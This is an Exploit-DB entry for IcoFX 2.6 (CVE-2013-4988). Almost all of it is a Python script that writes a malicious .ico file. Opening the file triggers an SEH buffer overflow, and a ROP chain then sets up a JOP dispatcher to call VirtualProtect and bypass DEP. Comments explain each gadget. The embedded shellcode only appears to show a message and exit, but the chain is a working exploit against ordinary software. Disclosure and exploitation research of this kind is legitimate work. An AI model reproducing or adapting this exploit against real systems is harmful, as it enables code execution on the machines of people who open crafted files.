IcoFX 2.6 – ‘.ico’ Buffer Overflow SEH + DEP Bypass using JOP

  • 作者: Austin Babcock
    日期: 2021-06-07
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/49959/
  • # Exploit Title: IcoFX 2.6 - '.ico' Buffer Overflow SEH + DEP Bypass using JOP
    # Date: 2020-05-20
    # Exploit Author: Austin Babcock
    # Vendor Homepage: https://icofx.ro/
    # Software Link: https://drive.google.com/file/d/1SONzNStA_W3pAPU5IUvsYS3z0jYymEZn/view?usp=sharing
    # Version: 2.6.0.0
    # Tested on: Windows 7 Ultimate x64
    # CVE: CVE-2013-4988
    # Steps: 1. Run script 2. Open application 3. Open maliciousJOP.ico via file -> open dropdown menu
    
    
    # Payload Length: 1626 bytes
    
    #While this is an older CVE, it is very rare to have a JOP chain available for a binary which is what this exploit attempts to demonstrate. 
    #Gadgets were found using the JOP ROCKET tool which is available at https://github.com/Bw3ll/JOP_ROCKET
    
    #This exploit utilizes ROP to set up a JOP chain that will perform multiple stack pivots and call VirtualProtect(). 
    #JOP utilizes a dispatcher gadget (#add ecx, dword ptr [eax] #jmp dword ptr [ecx]) to executes gadgets found within the dispatch table.
    #The ECX register will hold the address of the dispatch table, which will be modified each time the dispatcher gadget executes.
    #After each modification, ECX will point to the address of the next gadget in the JOP chain and "jmp dword ptr [ecx]" executes that gadget.
    #Each functional gadget must end in a jmp or call to a register containing the address of the dispatcher gadget.
    #In this exploit, ecx is used to hold the address of the dispatch table, and edi is used to hold the dispatcher gadget address.
    #The dispatch table is located just after the shellcode in this exploit's payload. The address is loaded into ECX using ROP to programatically generate the correct address..
    
    #!/usr/bin/python2
    import struct
     
    # Stuff we'll need for creating our malicious .ico
    header = "\x00\x00\x01\x00\x00\x6F"
    option = "\x02\x00\x00\x00"
    pad2 = "\x41"*8
    nseh = "\xfe\xff\xff\xff"
    
    base = 0x400000
    # SEH Overwrite with stack pivot - ADD ESP,0x800 # POP EBX # RET
    seh = struct.pack('<L', 0x0044f012)
    
    
    ###########################
    
    #### LOAD DISPATCH TABLE ADDR INTO ECX ####
    #The dispatch table's address is calculated based off of the value of EBP, which is related to the paylaod's location in memory.
    jopSetup = struct.pack('<I',0x00580ca8) # POP ECX # RETN <- 
    jopSetup += struct.pack('<I',0x0000000) #clear ecx
    jopSetup += struct.pack('<I', base + 0x000e8643) # ADD ECX,EBP # RETN
    jopSetup += struct.pack('<I', base + 0x00007c03) # POP EAX # RETN
    jopSetup += struct.pack('<I',0x00009f0) # offset for disp table
    jopSetup += struct.pack('<I', base + 0x00007c63) # ADD ECX,EAX # RETN # ecx = disp table
    
    #### LOAD ADD VALUE PTR INTO EAX ####
    #Since the dispatcher gadget uses the instruction "add ecx, dword ptr[eax]" to modify the address of the dispatch table,
    #eax must point to a valid location in memory containing the value we want to add to ecx each time the dispatcher executes.
    #In this case, eax will point to an address containing the value 0x00000004.
    jopSetup += struct.pack('<I', base + 0x0029c000) # MOV EAX,ECX # POP ESI # RETN <-
    jopSetup += struct.pack('<I',0x0000000) # junk
    jopSetup += struct.pack('<I', base + 0x0059d50d) # DEC EAX # RETN
    jopSetup += struct.pack('<I', base + 0x0059d50d) # DEC EAX # RETN
    jopSetup += struct.pack('<I', base + 0x0059d50d) # DEC EAX # RETN
    jopSetup += struct.pack('<I', base + 0x0059d50d) # DEC EAX # RETN
    
    #### LOAD WRITABLE ADDR OFFSET INTO EBX #### 
    #The gadget used for stack pivoting has an extra instruction (or byte ptr [ebx - 0x781703bb]) that cannot be avoided. 
    #In order to ensure this instruction does not cause problems, ebx-0x781703bb must point to a writable section of memory so
    #that the instruction does not cause an access violation. This section makes sure ebx contains a compatible value.
    jopSetup += struct.pack('<I', base + 0x00390000) # POP EBX # RETN 
    jopSetup += struct.pack('<I', 0x78c0609a) # needed for stack pivot JOP gadget -- offset to writable addr
    
    #### LOAD DISPATCHER ADDR INTO EDI ####
    jopSetup += struct.pack('<I',base + 0x00051423) # POP EDI # RETN
    jopSetup += struct.pack('<I',base + 0x6d81) # disp gadget address 
    #Dispatcher:
    #add ecx, dword ptr [eax] 0x406d81 (offset 0x6d81)
    #jmp dword ptr [ecx] 
    
    #### BEGIN JOP -- PERFORM STACK PIVOT #### 
    jopSetup += struct.pack('<I', base + 0x1623) # JMP EDI
    table = struct.pack('<I',0x44444444) # padding
    #PIVOT 40 BYTES
    #Last POP will put VP ptr in EBP
    for i in range(10):
    table += struct.pack('<I', 0x588b9b) #pop ebp # or byte ptr [ebx - 0x781703bb], cl # jmp edi <-
    
    #### CALL VirtualProtect() ####
    #The derferencing gadget used to call VirtualProtect() has an offset of -0x71 bytes from ebp.
    #To account for this, when the pointer for VirtualProtect() is loaded into ebp, 0x71 bytes are added to it in order
    #to ensure that ebp-0x71 is the correct value for the pointer. This can be seen below.
    table += struct.pack('<I',0x4c8eb7) #jmp dword ptr [ebp - 0x71] <-
    # VP ptr + offset for jmp ebp gadget
    vpPtr = struct.pack('<I',0x00bf6668 + 0x71) 
    
    ############################################################################################
    
    
    msg_sc = ("\x31\xD2\xB2\x30\x64\x8B\x12\x8B\x52\x0C\x8B\x52\x1C\x8B\x42\x08\x8B\x72\x20\x8B\x12\x80"
    "\x7E\x0C\x33\x75\xF2\x89\xC7\x03\x78\x3C\x8B\x57\x78\x01\xC2\x8B\x7A\x20\x01\xC7\x31\xED"
    "\x8B\x34\xAF\x01\xC6\x45\x81\x3E\x46\x61\x74\x61\x75\xF2\x81\x7E\x08\x45\x78\x69\x74\x75"
    "\xE9\x8B\x7A\x24\x01\xC7\x66\x8B\x2C\x6F\x8B\x7A\x1C\x01\xC7\x8B\x7C\xAF\xFC\x01\xC7\x68"
    "\x50\x21\x20\x01\x68\x78\x20\x4A\x4F\x68\x49\x63\x6F\x46\x89\xE1\xFE\x49\x0B\x31\xC0\x51"
    "\x50\xFF\xD7")
    
    # ExitProcess(0);
    exit_sc = "\x31\xc0\x50\xb8\x00\x60\xbf\x00\xff\x10"
    
    
    addesp = "\x81\xec\x00\x10\x00\x00" # Stack pivot at start of shellcode
    shellcode = addesp + msg_sc + exit_sc
    nopwrap = "\x90"*(0x168 - len(shellcode)) + shellcode + "\x90"*0x20
    
    
    # padding until VP parameter location 
    paramPad = "C" *(36)
    
    paramPad += vpPtr
    
    ### VIRTUAL PROTECT PARAMETERS ###
    vpParams = struct.pack('<I',0x18f744) #return addr
    vpParams += struct.pack('<I',0x18f744) #lpAddr
    vpParams += struct.pack('<I',0x500) #dwSize
    vpParams += struct.pack('<I',0x40) #flNewProt
    vpParams += struct.pack('<I',0x00bf4d0a) #lpfOldProtect
    
    
    # pad1 holds JOP Setup chain, VP() Parameters, Shellcode, Value for ADD, and Dispatch Table
    pad1 = "A"*580 + jopSetup + paramPad +vpParams + nopwrap
    addVal = struct.pack('<I',0x00000004) # how much for disp gadget to add to Dispatch Table address
    pad1 += addVal
    pad1 += table # dispatch table
    pad1 += "B"*(0x640-len(pad1))
    
    # Piece together our exploit
    payload = header + pad1 + option + pad2 + nseh + seh
    # Write out our malicious file
    writeFile = open ("maliciousJOP.ico", "wb")
    writeFile.write( payload )
    writeFile.close()